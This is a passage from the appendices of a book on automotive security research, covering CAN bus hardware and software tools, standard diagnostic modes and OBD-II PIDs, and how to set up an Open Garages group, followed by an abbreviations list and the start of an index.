device and a data logger, and it comes with GPS, an accelerometer, and 
gyro and temperature sensors.

CANtact

CANtact, an open source device by Eric Evenchick, is a very affordable USB 
CAN device that works with Linux SocketCAN. It uses a DB 9 connector and 

https://www.arduino.cc/
https://www.arduino.cc/
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has the unique advantage of using jumper pins to change which pins are 
CAN and ground—a feature that allows it to support both US- and UK-style 
DB9 to OBD-II connectors. You can get CANtact from http://cantact.io/.

Raspberry Pi

The Raspberry Pi is an alternative to the Arduino that costs about $30 to 
$40. The Pi provides a Linux operating system but doesn’t include a CAN 
transceiver, so you’ll need to purchase a shield. 

One of the advantages of using a Raspberry Pi over an Arduino is 
that it allows you to use the Linux SocketCAN tools directly, without the 
need to buy additional hardware. In general, a Raspberry Pi can talk to an 
MCP2515 over SPI with just some basic wiring. Here are some Raspberry Pi 
implementations:

Canberry  MCP2515 CAN controller with screw terminals only  
(no D-sub connector; $23)

Carberry  Two CAN bus lines and two GMLAN lines, LIN, and  
infrared (doesn’t appear to be an open source shield; $81)

PICAN CAN-Bus Board  MCP2515 CAN controller with D-sub con-
nector and screw terminals ($40 to $50)

ChipKit Max32 Development Board and NetworkShield

The ChipKit board is a development board that together with the 
NetworkShield can give you a network-interpretable CAN system, as dis-
cussed in “Translating CAN Bus Messages” on page 85. About $110, this 
open source hardware solution is touted by the OpenXC standard and 
supports prebuilt firmware from OpenXC, but you can also write your 
own firmware for it and do raw CAN.

ELM327 Chipset

The ELM327 chipset is by far the cheapest chipset available at anywhere 
(from $13 to $40), and it’s used in most cheap OBD device. It communicates 
with the OBD over serial and comes with just about any type of connector 
you can think of, from USB to Bluetooth, Wi-Fi, and so on. You can connect 
to ELM327 devices over serial, and they’re capable of sending packets other 
than OBD/UDS packets. For a full list of commands using the ELM327, see 
the data sheet at http://elmelectronics.com/DSheets/ELM327DS.pdf.

Unfortunately, the available CAN Linux tools won’t run on the ELM327, 
but Open Garages has begun a web initiative that includes sniffing drivers 
for the ELM327 called CANiBUS (https://github.com/Hive13/CANiBUS/). 
Be forewarned that the ELM327 has limited buffer space, so you’ll lose 
packets when sniffing and transmission can be a bit imprecise. If you’re in a 
pinch, however, this is the cheapest route.

If you’re willing to open the device and solder a few wires to your 
ELM327, you can reflash the firmware and convert it into a LAWICEL-
compatible device, which allows your uber cheap ELM327 to work with 

http://cantact.io/
http://elmelectronics.com/DSheets/ELM327DS.pdf
http://elmelectronics.com/DSheets/ELM327DS.pdf
http://elmelectronics.com/DSheets/ELM327DS.pdf
https://github.com/Hive13/CANiBUS/
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Linux and show up as an slcanX device! (You’ll find information on how 
to flash your ELM327 on the Area 515 makerspace blog from Des Moines, 
Iowa, at https://area515.org/elm327-hacking/.)

GoodThopter Board

Travis Goodspeed, a well-known hardware hacker, has released an open 
source, low-cost board with a CAN interface called the GoodThopter. The 
GoodThopter, based on his popular GoodFet devices, uses MCP2515 and 
communicates over serial with its own custom interface. You’ll need to 
completely assemble and solder together the device yourself, but doing so 
should cost just a few dollars, depending on the parts you have available at 
your local hackerspace.

ELM-USB Interface

OBDTester.com sells a commercial ELM-32x-compatible device for  
around $60. OBDTester.com are the maintainers of the PyOBD library  
(see “Software” on page 246). 

CAN232 and CANUSB Interface

LAWICEL AB produces the commercial CAN device CAN232, which plugs 
into an RS232 port with a DB9 connector, and a USB version called CANUSB 
(the latter goes for $110 to $120). Because they’re made by the inventors 
of the LAWICEL protocol, these devices are guaranteed to work with the 
can-utils serial link modules.

VSCOM Adapter

The VSCOM is an affordable commercial USB CAN module from Vision 
Systems (http://www.vscom.de/usb-to-can.htm) that uses the LAWICEL proto-
col. VSCOM works with the Linux can-utils over serial link (slcan) and pro-
vides good results. The device costs around $100 to $130.

USB2CAN Interface

The USB2CAN converter from 8devices (http://www.8devices.com/usb2can/) 
is the cheapest alternative to a nonserial CAN interface. This small, com-
mercial USB device will show up as a standard can0 device in Linux and has 
the most integrated support in this price range. Most devices that show up 
as canX raw devices are PCI cards and typically cost significantly more than 
this device. 

EVTV Due Board

EVTV.me (http://store.evtv.me/) specializes in electric car conversions. They 
make lots of great tools for doing crazy things to your historic vehicle, like 
adding a Tesla drivetrain to it. One of their tools is a $100 open source 
CAN sniffer called the EVTV Due, which is basically an Arduino Due with 

https://area515.org/elm327-hacking/
http://www.vscom.de/usb-to-can.htm
http://www.8devices.com/usb2can/
http://store.evtv.me/
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a built-in CAN transceiver and handle-screw terminals to interface with 
your CAN lines. This board was originally written to work solely with 
their SavvyCAN software, which uses their Generalized Vehicle Reverse 
Engineering Tool (GVRET), but it now supports SocketCAN as well.

CrossChasm C5 Data Logger

The CrossChasm C5 (http://www.crosschasm.com/technology/data-logging/) is 
a commercial device that supports the Ford VI firmware and costs about 
$120. The C5 supports the VI, which is also known as the CAN translator, 
to convert CAN messages to the OpenXC format, and it converts some pro-
prietary CAN packets into a generic format to send over Bluetooth. 

CANBus Triple Board

As I write this, the CANBus Triple (http://canb.us/) is still in development. 
It uses a wiring harness designed to support Mazda, but it supports three 
CAN buses of any vehicle.

Higher-End CAN Devices
Higher-end devices will cost you more money, but they’re capable of receiv-
ing more simultaneous channels and offer more memory to help prevent 
packet loss. High-performance tools often support eight channels or more, 
but unless you’re working on racing vehicles, you probably don’t need that 
many channels, so be sure that you need devices like these before dropping 
any cash. 

These devices often come with their own proprietary software or a 
software subscription at sometimes significant added cost. Make sure 
the software associated with the device you choose does what you want 
because you’ll usually be locked into their API and preferred hardware. If 
you need higher-end devices that work with Linux, try Kvaser, Peak, or EMS 
Wünsche. The devices from these companies typically use the sja1000 chip-
set at prices starting around $400.

CAN Bus Y-Splitter

A CAN bus Y-splitter is a very simple device that’s basically one DLC connec-
tor broken into two connectors, which allows you to plug a device into one 
port and a CAN sniffer into the other. These typically cost around $10 on 
Amazon and are actually quite simple to make yourself.

HackRF SDR

HackRF is an SDR from Great Scott Gadgets (https://greatscottgadgets.com/
hackrf/). This open source hardware project can receive and transmit sig-
nals from 10 MHz to 6 GHz. At about $330, you can’t get a better SDR for 
the price.

http://www.crosschasm.com/technology/data-logging/
http://canb.us/
https://greatscottgadgets.com/hackrf/
https://greatscottgadgets.com/hackrf/
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USRP SDR

USRP (http://www.ettus.com/) is a professional, modular SDR device that 
you can build to suit your needs. USRP is open source to varying degrees at 
prices ranging from $500 to $2,000. 

ChipWhisperer Toolchain

NewAE Technologies produces the ChipWhisperer (http://newae.com/ 
chipwhisperer/). As discussed in “Side-Channel Analysis with the ChipWhisperer” 
on page 134, the ChipWhisperer is a system for side-channel attacks, such as 
power analysis and clock glitching. Similar systems usually cost $30,000 or 
more, but the ChipWhisperer is an open source system that costs between 
$1,000 and $1,500.

Red Pitaya Board

Red Pitaya (http://redpitaya.com/) is an open source measurements tool that 
for around $500 replaces expensive measurement tools such as oscilloscopes, 
signal generators, and spectrum analyzers. Red Pitaya has LabView and 
Matlab interfaces, and you can write your own tools and applications for it. 
It even supports extensions for things like Arduino shields.

Software
As we did with hardware, we’ll focus first on open source tools and then 
cover more expensive ones.

Wireshark
Wireshark (https://www.wireshark.org/) is a popular network sniffing tool. It 
is possible to use Wireshark on a CAN bus network as long as you are run-
ning Linux and using SocketCAN. Wireshark doesn’t have any features to 
help sort or decode CAN packets, but it could be useful in a pinch.

PyOBD Module
PyOBD (http://www.obdtester.com/pyobd)—also known as PyOBD2 and 
PyOBD-II—is a Python module that communicates with ELM327 devices 
(see Figures A-1 and A-2). It’s based on the PySerial library and is designed 
to give you information on your OBD setup in a convenient interface. For 
a specific scan tool fork of PyOBD, see Austin Murphy’s OBD2 ScanTool 
(https://github.com/AustinMurphy/OBD2-Scantool/), which is attempt-
ing to become a more complete open source solution for diagnostic 
troubleshooting.

http://www.ettus.com/
http://newae.com/chipwhisperer
http://newae.com/chipwhisperer
http://redpitaya.com/
https://www.wireshark.org/
http://www.obdtester.com/pyobd
https://github.com/AustinMurphy/OBD2-Scantool/
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Figure A-1: PyOBD running diagnostic tests

Figure A-2: PyOBD reading sensor data

Linux Tools
Linux supports CAN drivers out of the box, and SocketCAN provides 
a simple netlink (network card interface) experience when dealing with 
CAN. You can use its can-utils suite for a command line implementation, 
and as open source software, it’s easy to extend functionality to other utili-
ties. (See Chapter 3 for more on SocketCAN.)
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CANiBUS Server
CANiBUS is a web server written in Go by Open Garages (see Figure A-3). 
This server allows a room full of researchers to simultaneously work on 
the same vehicle, whether for instructional purposes or team reversing ses-
sions. The Go language is portable to any operating system, but you may 
have issues with low-level drivers on certain platforms. For example, even if 
you’re running CANiBUS on Linux, you won’t be able to directly interact 
with SocketCAN because Go doesn’t support the necessary socket flags to 
initialize the CAN interface. (This problem could be addressed by imple-
menting socketcand, but as of this writing, that feature has yet to be imple-
mented.) CANiBUS does have a driver for ELM327 that supports generic 
sniffing. You can learn more about CANiBUS at http://wiki.hive13.org/view/
CANiBUS/ and can download the source from https://github.com/Hive13/
CANiBUS/.

Figure A-3: CANiBUS group-based web sniffer

Kayak 
Kayak (http://kayak.2codeornot2code.org/) is a Java-based GUI for analyzing 
CAN traffic. It has several advanced features, such as GPS tracking and 
record and playback capabilities. It utilizes socketcand in order to work on 
other operating systems, so you’ll need at least one Linux-based sniffer to 
support Kayak. (You’ll find more detail on setup and use in ”Kayak” on 
page 46.) 

SavvyCAN
SavvyCAN is a tool written by Collin Kidder of EVTV.me that uses another 
framework designed by EVTV.me, GVRET, to talk to HW sniffers such 
as the EVTV Due. SavvyCAN is an open source, Qt GUI–based tool that 
works on multiple operating systems (see Figure A-4). It includes several 

http://wiki.hive13.org/view/CANiBUS/
http://wiki.hive13.org/view/CANiBUS/
https://github.com/Hive13/CANiBUS
https://github.com/Hive13/CANiBUS
http://kayak.2codeornot2code.org/
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very nice features, such as DBC editor, CAN bus graphing, log file diffing, 
several reverse engineering tools, and all the normal CAN sniffing features 
you would expect. SavvyCAN doesn’t talk to SocketCAN, but it can read in 
several different logfile formats, such as Bushmaster logs, Microchip logs, 
CRTD formats, and generic CSV-formatted logfiles.

Figure A-4: SavvyCAN GUI

O2OO Data Logger
O2OO (http://www.vanheusden.com/O2OO/) is an open source OBD-II data 
logger that works with ELM327 to record data to a SQLite database for 
graphing purposes. It also supports reading GPS data in NMEA format. 

Caring Caribou
Caring Caribou (https://github.com/CaringCaribou/caringcaribou/), written in 
Python, is designed to be the Nmap of automotive hacking. As of this writ-
ing, it’s still in its infancy, but it shows a lot of potential. Caring Caribou has 
some unique features, like the ability to brute-force diagnostic services, and 
handles XCP. It also has your standard sniff-and-send CAN functionality 
and will support your own modules.

http://www.vanheusden.com/O2OO/
https://github.com/CaringCaribou/caringcaribou
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c0f Fingerprinting Tool
CAN of Fingers (c0f) is an open source tool for fingerprinting CAN bus 
systems that can be found at https://github.com/zombieCraig/c0f/. It has some 
basic support for identifying patterns in a CAN bus network stream, which 
can be useful when trying to find a specific signal on a noisy bus. (See 
“Using c0f” on page 206 for an example of c0f at work.)

UDSim ECU Simulator
UDSim (https://github.com/zombieCraig/UDSim/) is a GUI tool that can moni-
tor a CAN bus and automatically learn the devices attached to it by watch-
ing communications (see Figure A-5). It’s designed to be used with another 
diagnostic tool, such as a dealership tool or a scan tool from a local automo-
tive store. 

Figure A-5: Sample screen from UDSim as it learns modules off a test bench

UDSim has three modes: learning, simulation, and attack. In learning 
mode, it identifies modules that respond to UDS diagnostic queries and 
monitors the responses. In simulation mode, it simulates a vehicle on the 
CAN bus to fool or test diagnostic tools. In attack mode, it creates a fuzzing 
profile for tools like Peach Fuzzer (http://www.peachfuzzer.com/).

Octane CAN Bus Sniffer
Octane (http://octane.gmu.edu/) is an open source CAN bus sniffer and 
injector with a very nice interface for sending and receiving CAN packets, 
including an XML trigger system. Currently, it runs only on Windows.

https://github.com/zombieCraig/c0f/
https://github.com/zombieCraig/UDSim/
http://www.peachfuzzer.com/
http://octane.gmu.edu/
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AVRDUDESS GUI
AVRDUDESS (http://blog.zakkemble.co.uk/avrdudess-a-gui-for-avrdude/) is a 
GUI frontend for AVRDUDE written in .NET, though it works fine with 
Mono on Linux. You’ll see AVRDUDESS in action in “Prepping Your Test 
with AVRDUDESS” on page 139.

RomRaider ECU Tuner
RomRaider (http://www.romraider.com/) is an open source tuning suite for 
the Subaru engine control unit that lets you view and log data and tune the 
ECU (see Figure A-6). It’s one of the few open source ECU tuners, and 
it can handle 3D views and live data logging. You’ll need a Tactrix Open 
Port 2.0 cable and Tactrix EcuFlash software in order to download and 
use the ECU’s firmware. Once you’ve downloaded the flash with EcuFlash, 
you can edit it with RomRaider. The editor is written in Java and currently 
works on Windows and Linux, though EcuFlash isn’t supported on Linux.

Figure A-6: RomRaider tuning editor

Komodo CAN Bus Sniffer
Komodo is a higher-end sniffer with a nice multioperating system—
Python SDK. It costs around $350 to $450 depending on whether you 
want a single- or dual-CAN interface. Komodo has isolation capabilities 
to prevent your computer from frying if you miswire something, as well as 

http://blog.zakkemble.co.uk/avrdudess-a-gui-for-avrdude/
http://www.romraider.com/
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eight general-purpose IO pins you can configure to trigger actions from 
external devices. Komodo comes with some decent software to get you 
up and running, but the real advantage is that you can write your own 
Komodo software. 

Vehicle Spy
Vehicle Spy is a commercial tool from Intrepid Control Systems (http://store​
.intrepidcs.com/) that’s specifically designed for reversing CAN and other 
vehicle communication protocols. The software requires one license per 
NeoVI or ValueCAN device, both proprietary devices for Vehicle Spy. The 
ValueCAN3 is the cheapest device that works with Vehicle Spy. It has one 
CAN interface and costs about $300. Add the Vehicle Spy Basic software 
and your cost will be about $1,300. 

The NeoIV devices are higher end, with multiple configurable chan-
nels, starting at around $1,200. A basic package contains a NeoIV (Red) 
and Vehicle Spy Basic for $2,000, which saves a bit of money. Vehicle Spy 
Professional costs about $2,600 without hardware. (You’ll find several 
options on Intrepid’s site.)

All Intrepid hardware devices support uploading scripts to run on the 
bus in real time. Vehicle Spy Basic supports CAN/LIN RX/TX operations. 
You’ll need the professional version only if car hacking is going to be a full-
time project for you or if you want to use ECU flashing or other advanced 
features, such as Node Simulation, scripting on the sniffer, or memory 
calibration.

http://store.intrepidcs.com/
http://store.intrepidcs.com/


B
D i agnost      i c  C ode    Modes      

and    P I D s

In Chapter 4 we looked at modes and 
parameter IDs in diagnostic codes. This 

appendix lists a few more common modes 
and interesting PIDs for reference. 

Modes Above 0x10
Modes above 0x10 are proprietary codes. Here are some common modes 
specified by the ISO 14229 standard:

0x10  Initiates diagnostics

0x11  Resets the ECU

0x14  Clears diagnostic codes

0x22  Reads data by ID

0x23  Reads memory by address

0x27  Security access

0x2e  Writes data by ID
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0x34  Requests download

0x35  Requests upload

0x36  Transfers data

0x37  Requests transfer exit

0x3d  Writes memory by address

0x3e  Tester present

Useful PIDs
Some interesting PIDs for modes 0x01 and 0x02 include the following:

0x00  PIDs supported (0x01–0x20)

0x01  Monitor the status of the MIL

0x05  Engine coolant temperature

0x0C  RPM

0x0D  Vehicle speed

0x1C  OBD standards to which this vehicle conforms 

0x1F  Run time since vehicle started

0x20  Additional PIDs supported (0x21–0x40)

0x31  Distance traveled since DTCs cleared

0x40  Additional PIDs supported (0x41–0x60)

0x4D  Time run with MIL on

0x60  Additional PIDs supported (0x61–0x80)

0x80  Additional PIDs supported (0x81–0xA0)

0xA0  Additional PIDs supported (0xA1–0xC0)

0xC0  Additional PIDs supported (0xC1–0xE0)

Some vehicle information service numbers for mode 0x09 include:

0x00  PIDs supported (0x01–0x20)

0x02  VIN

0x04  Calibration ID

0x06  Calibration verification numbers (CVN)

0x20  ECU name

For a list of further service PIDs to query, see http://en.wikipedia.org/
wiki/OBD-II_PIDs.

http://en.wikipedia.org/wiki/OBD-II_PIDs
http://en.wikipedia.org/wiki/OBD-II_PIDs


C
C reat    i ng   Yo  u r  O w n  

O pen    G arage   

Open Garages is a collaboration of like-
minded individuals interested in hacking 

automotive systems, whether through per-
formance tuning, artistic modding, or secu-

rity research. There are Open Garages groups across 
the United States and United Kingdom, and anyone 
can start or join one. You can, of course, hack cars in your own garage, but 
it’s way more fun and productive to hack multiple projects with friends. To 
learn more, visit http://www.opengarages.org/ for details on groups in your 
area, join the mailing list to receive the latest announcements, and follow 
Open Garages on Twitter @OpenGarages.

Filling Out the Character Sheet
If there isn’t an Open Garages group in your area, you can start one! I’ll 
walk you through how to build your own group, and then you can submit the 
Open Garages Character Sheet on the following page to og@openGarages.org. 

http://www.opengarages.org/
https://twitter.com/opengarages
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Open Garages
Character Sheet

Space Name :

Public Days :

S M T W Th F S

Open :

Close :

: : : : : : :
: : : : : : :

Space Affiliation With:

Private Membership Available?
Cost : Per :

Signup Site :
Website :
Mailing List :
IRC :
Twitter :

Vehicle Specialty : [ None ]

Only on the week of the month

Bays :
Meeting Space Holds :
Restrooms :
Internet Speed :

Initial Managing Officers

Name / Handle Contact Info Role Specialty

Equipment

Tool Membership Level Required Skill Ranking

Parking :

Address :

Scan and email to og@opengarages.org
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The character sheet has a few different sections. The square in the 
upper left is where you should sketch out your idea for a garage. You can 
sketch anything you want: a layout for a garage, notes, a logo, and so on. 
You can either come up with a name for your space now or wait until you 
have a few more members to decide. If you’re planning to host your meet-
ings out of an existing hackerspace, you may want to just use that space’s 
name or some variation of it.

When to Meet
Pick a set date to meet. Most groups meet about once a month, but you can 
make your meetings as frequent as you like. The timing of your meetings 
may depend on the type of space you have available and whether you’re 
sharing it with anyone else. 

Check the box(es) next to Public Days for the day(s) you want to be open 
to the public. Under the checkboxes, enter your Open and Close times. If you 
want your event to meet less often than weekly, pick which week of the month 
you’ll meet. For instance, if you want to meet on the first Saturday of every 
month from 6 to 9 pm, your sheet would look like Figure C-1.

Figure C-1: Scheduling meetings on the first Saturday of each month

Affiliations and Private Memberships
If you’re working with another group or hackerspace, include it on the Space 
Affiliation line. Then decide whether you want to offer private membership. 
Your Open Garages group must be open to the public at least one day of 
the month, but you can offer private memberships with additional perks, 
like access to the space for extended hours or access to special equipment. 
Private membership fees can help pay for space rental, tools, insurance, and 
various other costs as they come up. 

If you’re affiliated with a hackerspace, this section can be filled in with 
their membership cost information. Sometimes it’s easier to find a local 
hackerspace and host Open Garages meetings from their location. If you 
choose to go that route, be sure to support whatever rules and requirements 
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that hackerspace has, and try to promote their space with your announce-
ments. Be sure to list the cost of membership and how often payment is due, 
which is typically monthly or yearly. 

Defining Your Meeting Space 
Under the garage illustration in the upper-left corner of the sheet are some 
basic questions about your space. You don’t need to have immediate access 
to a vehicle workshop to start an Open Garages group, but you should have 
a place to meet to discuss projects and collaborate, whether that’s your home 
garage, a hackerspace, a mechanics shop, or even a coffee shop. 

Here’s how to answer the questions on the character sheet:

Bays  The number of vehicle spaces available, if any. If you’re holding 
your meeting in a two-car home garage, you’d enter 2 here. If you’re 
meeting in a coffee shop or a similar space, put a 0.

Meeting Space Holds  Try to determine how many people can fit in 
your space. If you’re meeting in a coffee shop, note how many people 
you think can feasibly meet at one time. If your space has an office area, 
figure out how many it seats. If your space is a garage or a parking lot, 
you can put N/A. You can also note disability accessibility here.

Restrooms  It’s a good idea to make beverages available during Open 
Garages meetings, so you’ll want access to a restroom. Here, you can 
enter Yes or No or something like behind the shed. 

Internet Speed  If your space is a coffee shop with Wi-Fi access you can 
just put Wi-Fi, though if you know what your Internet speed is, it’s use-
ful to note it here. If you’re in a garage or somewhere without Internet 
access, you can write tether or N/A.

Parking  Note here where members can park and whether there are 
special rules for parking in that area. You should also note whether 
these rules vary depending on the time of day or whether someone is 
a private member. 

Contact Information 
The box to the right of the space description is where you should note all of 
your contact information for people who want to collaborate and organize 
with you. Most of this should be self-explanatory. The Signup Site section 
is required only if you take private membership or if people need to RSVP; 
otherwise, leave this blank or put N/A. The Website section is where you 
should list the main website for your group. If you don’t have a site, just use 
http://www.opengarages.org/. You can list your IRC room or Twitter account if 
you have one. List anything else under Other.

The black box marked Vehicle Specialty is where you can add informa-
tion about a particular vehicle focus of your group, like BMW or motorcycles. 
You could also use this space to limit the type of research to be performed 
in the space if, for example, you’re interested in researching only perfor-
mance tuning.

http://www.opengarages.org/
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Initial Managing Officers
To kick off an Open Garages group, you need some people to take leader-
ship responsibility to ensure it begins as smoothly as possible. The first per-
son on this list should be you, of course! If you can get a few other friends 
to pitch in right off the bat, that’s great. If not, you can run your group by 
yourself until more members join.

The primary responsibility of the managing officers is to ensure that 
the space is opened on time and securely closed at the end. If you plan to 
launch a full-blown nonprofit organization, this list would probably consist 
of your board members.

Here’s the information you need to provide on your managing officers:

Name/Handle  Your name or handle. Whichever you choose to list, it 
should match your contact information. For example, if you list a phone 
number with your handle name, be prepared to answer the phone 
that way.

Contact Info  You’re in charge, and people will need to contact you, so 
please list your email address or phone number. If you send your sheet 
to http://www.opengarages.org/, the information won’t be published or 
show up on any website. The contact information is for your use in your 
space.

Role  You can list whatever you like as your role, whether that’s owner, 
accountant, mechanic, hacker, burner, and so on.

Specialty  If you have a specialty, like if you’re an Audi mechanic or a 
reverse engineer, include it here.

Equipment
Here’s where you should list any equipment available to you or that you 
plan to have available at the space. See Appendix A for recommendations 
on hardware and software that will be a help in your Open Garages group. 
Some tools to list are 3D printers, MIG welders, lifts, rollers, scan tools, 
and so on. There’s no need to list small things, like screwdrivers and butt 
connectors.

If certain tools are expensive or require training before they can be 
used, you might use the Membership Level space to denote that the user 
must be a paid member to access these tools. You can also use the Skill 
Ranking space to state the level of skill or training needed in order to oper-
ate a particular tool.

http://www.opengarages.org/




ACM	 airbag control module 
ACN	 automated crash notification  

    (systems)
AES	 Advanced Encryption Standard
AGL	 Automotive Grade Linux
ALSA	 Advanced Linux Sound  

    Architecture 
AMB	 automotive message broker
ASD	 aftermarket safety device 
ASIC	 application-specific integrated  

    circuit
ASIL	 Automotive Safety Integrity Level
ASK	 amplitude-shift keying 
AUD	 Advanced User Debugger 
AVB	 Audio Video Bridging standard
BCM	 body control module 
BCM	 broadcast manager (service)
BGE	 Bus Guardian Enable 
binutils	 GNU Binary Utilities 
BMEP	 brake mean effective pressure
c0f	 CAN of Fingers
CA	 certificate authority
CAM	 cooperative awareness message
CAMP	 Crash Avoidance Metrics  

    Partnership
CAN	 controller area network
CANH 	 CAN high
CANL	 CAN low 
CARB	 California Air Resources Board 
CC	 CaringCaribou
CDR	 crash data retrieval
CKP	 crankshaft position
COB-ID	 communication object identifier 
CRL	 certificate revocation list 
CVN	 calibration verification number
CVSS	 common vulnerability scoring  

    system 
DENM	 decentralized environmental  

    notification message
DIP	 dual in-line package
DLC	 data length code 
DLC	 diagnostic link connector 
DLT	 diagnostic log and trace

DoD	 Department of Defense 
DREAD	 damage potential, reproducibil- 

    ity, exploitability, affected  
    users, discoverability (rating  
    system)

DSRC	 dedicated short-range  
    communication

DTC	 diagnostic trouble code
DUT	 device under test
ECU	 electronic control unit or engine  

    control unit 
EDR	 event data recorder
ELLSI	 Ethernet low-level socket  

    interface
EOD	 end-of-data (signal)
EOF	 end-of-frame (signal)
ETSI	 European Telecommunications  

    Standards Institute
FIBEX	 Field Bus Exchange Format 
FPGA	 field-programmable gate array
FSA PoC	 fuel stop advisor proof-of-concept 
FSK	 frequency-shift keying 
GRC	 GNU Radio Companion
GSM	 Global System for Mobile  

    Communications 
HMI	 human–machine interface
HS-CAN	 high-speed CAN 
HSI	 high-speed synchronous  

    interface
IC	 instrument cluster
ICSim	 instrument cluster simulator
IDE	 identifier extension 
IFR	 in-frame response 
IVI	 in-vehicle infotainment (system)
KES	 key fob
LF	 low-frequency
LIN	 Local Interconnect Network
LNA	 low-noise amplifier 
LOP	 location obscurer proxy
LS-CAN	 low-speed CAN 
LTC	 long-term certificate
MA	 misbehavior authority
MAF	 mass air flow

A b b r e v i a t i o n s
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MAP	 manifold pressure 
MCU	 microcontroller unit
MIL	 malfunction indicator lamp
MOST	 Media Oriented Systems  

    Transport (protocol)
MS-CAN	 mid-speed CAN
MUL	 multiply (instruction)
NAD	 node address for diagnostics
NHTSA	 National Highway Traffic Safety  

    Administration 
NLFSR	 non-linear feedback shift register
NOP	 no-operation instruction
NSC	 node startup controller
NSM	 node state manager 
OBE	 onboard equipment
OEM	 original equipment  

    manufacturer 
OOK	 on-off keying 
OSI	 Open Systems Interconnection 
PC	 pseudonym certificate 
PCA	 Pseudonym Certificate Authority 
PCM	 powertrain control module
PID	 parameter ID
PKES	 passive keyless entry and start 
PKI	 public key infrastructure
POF	 plastic optical fiber 
PRF	 pseudorandom function
PRNG	 pseudorandom number  

    generator
PWM	 pulse width modulation 
QoS	 quality of service 
RA	 Registration Authority
RCM	 restraint control module 
RFID	 radio-frequency identification
ROS	 rollover sensor module 
RPM	 revolutions per minute
RSE	 roadside equipment
RTR	 remote transmission request 
SCMS	 security credentials management  

    system
SDK	 software development kit

SDM	 sensing and diagnostic module 
SDR	 software-defined radio
SIM	 subscriber identity module
SNS	 service not supported
SRR	 substitute remote request 
SWD	 Serial Wire Debug 
TCM	 transmission control module
TCU	 transmission control unit
TDMA	 time division multiple access 
TPMS	 tire pressure monitor sensor
TREAD	 Transportation Recall Enhance- 

    ment, Accountability, and  
    Documentation (Act)

UDS	 Unified Diagnostic Services
UHF	 ultra-high-frequency
USRP	 Universal Software Radio  

    Peripheral
UTP	 unshielded twisted-pair 
V2I, C2I	 vehicle-to-infrastructure, car- 

    to-infrastructure (Europe)
V2V, C2C	 vehicle-to-vehicle, car-to-car  

    (Europe)
V2X, C2X	 vehicle-to-anything, car-to- 

    anything (Europe)
VAD	 vehicle awareness device
VDS	 Vehicle Descriptor Section
VI	 vehicle interface
VII, ITS	 vehicle infrastructure  

    integration, intelligent  
    transportation system 

VIN	 vehicle identification number 
VM	 virtual machine
VoIP	 voice over IP
VPW	 variable pulse width 
VSC3	 Vehicle Safety Consortium
WAVE	 wireless access for vehicle  

    environments
WME	 WAVE management entity
WMI	 World Manufacturer Identifier
WSA	 WAVE service announcement
WSMP	 WAVE short-message protocol



Numbers
802.11p standard, 179–180, 184
8devices USB2CAN converter, 244
1609.x standard, 179–180, 184

A
ACM (airbag control module), 61
ACN (automated crash 

notification) systems, 64
Advanced Linux Sound 

Architecture (ALSA) 
framework, 26

Advanced User Debugger (AUD), 
133–134

airbag control module (ACM), 61
ALSA (Advanced Linux Sound 

Architecture) 
framework, 26

amplified relay attacks, PKES 
systems, 220

amplitude-shift keying (ASK) 
modulation, 210–211

analyze.exe tool, 100
anonymous certificates, 189
application-specific integrated 

circuits (ASICs), 95
apps (IVI system), 163
arbitration IDs

defined, 18
finding, 79–80
grouping streamed data, 70–71

Arduino shields, 242
Armengaud, Eric, 30
asc2log tool (can-utils package), 41
ASICs (application-specific 

integrated circuits), 95

ASIL (Automotive Safety Integrity 
Level) system, 11, 13

ASK (amplitude-shift keying) 
modulation, 210–211

assembly code
converting C code to, 196–198
converting to shellcode, 199

asynchronous channel, MOST bus 
protocol, 25

AUD (Advanced User Debugger), 
133–134

Audio Video Bridging (AVB) 
standard, 31

autoignition (detonation), 235
automated crash notification 

(ACN) systems, 64
Automotive Ethernet bus protocol, 

30–31
automotive racing, 233
Automotive Safety Integrity Level 

(ASIL) system, 11, 13
auxiliary jacks (IVI systems), 158
AVB (Audio Video Bridging) 

standard, 31
AVR systems, resetting, 143
AVRDUDESS GUI, 137, 

139–140, 251

B
backdoor attacks, 95
BCM (broadcast manager) service, 

45, 46
bcmserver tool (can-utils package), 41
BerliOS, 35
best master clock algorithm, 31
BGE (Bus Guardian Enable), 30
.bin files, 160

Inde    x
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Binary Editor, 238
binwalk tool, 160
bird’s eye view (Level 0) threats, 3, 

6–7
bitmasks, 71–72
Bluetooth connection, 9, 164,  

166–167, 212
Bluez daemon, 10
BMEP (brake mean effective 

pressure), 235
Boone, Jared, 213
Boothe, Peter, 228
bootloaders, brute-forcing, 138–148
brake mean effective pressure 

(BMEP), 235
bricking, 89
broadcast manager (BCM) service, 

45, 46
brute-forcing

diagnostic modes, 58–60
key code, 217
keypad entry, 228–230
secure bootloaders, 138–148

BURN2 programmer, 236
Bus Guardian, 30
Bus Guardian Enable (BGE), 30
Bus Pirate cable, 131
bus protocols, 15–16. See also names 

of specific protocols
Automotive Ethernet, 30–31
Controller Area Network, 16–20
FlexRay, 27–30
ISO 9141-2, 23
Keyword Protocol 2000, 22–23
Local Interconnect Network, 24
Media Oriented Systems 

Transport, 24–27
OBD-III, 33–34
SAE J1850, 20–22

C
C code, 194–202
c0f (CAN of Fingers) tool, 

205–207, 250
.cab files, 160

California Air Resources Board 
(CARB), 33

CAMP (Crash Avoidance Metrics 
Partnership), 186–187

CAMs (cooperative awareness 
messages), 181–183

CAN (Controller Area Network) 
bus protocol. See also 
reverse engineering 
CAN bus

CANopen protocol, 20
differential signaling, 16–17
extended packets, 19
finding connections, 17–18
GMLAN, 20
ISO 15765-2, 19–20
OBD-II connector, 17
standard packets, 18–19
vulnerabilities, 10

CAN bus Y-splitter, 245
CAN devices

Arduino shields, 242
CAN bus Y-splitter, 245
CAN232 dongle, 244
CANBus Triple board, 245
CANtact, 242–243
CANUSB dongle, 244
ChipKit board, 243
ChipWhisperer, 246
CrossChasm C5 data logger, 245
ELM327 chipset, 243–244
ELM-USB connector, 244
EVTV due board, 244–245
Freematics OBD-II Telematics 

Kit, 242
GoodThopter board, 244
HackRF SDR, 245
Raspberry Pi, 243
Red Pitaya board, 246
serial, 39–40
setting up can-utils to connect 

to, 36
USB2CAN converter, 244
USRP SDR, 246
ValueCAN, 252
VSCOM adapter, 244
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CAN high (CANH) wires, 16–17
CAN low (CANL) wires, 16–17
CAN network. See also CAN 

bus protocol; reverse 
engineering CAN bus

locating, 67–68
sending data with, 55
virtual, 40–41

CAN of Fingers (c0f) tool, 
205–207, 250

can0 device, 38
CAN232 dongle, 244
Canberry controller, 243
CANBus Control Panel, 82–83
CANBus Triple board, 245
canbusload tool (can-utils 

package), 41
can-calc-bit-timing command 

(can-utils package), 41
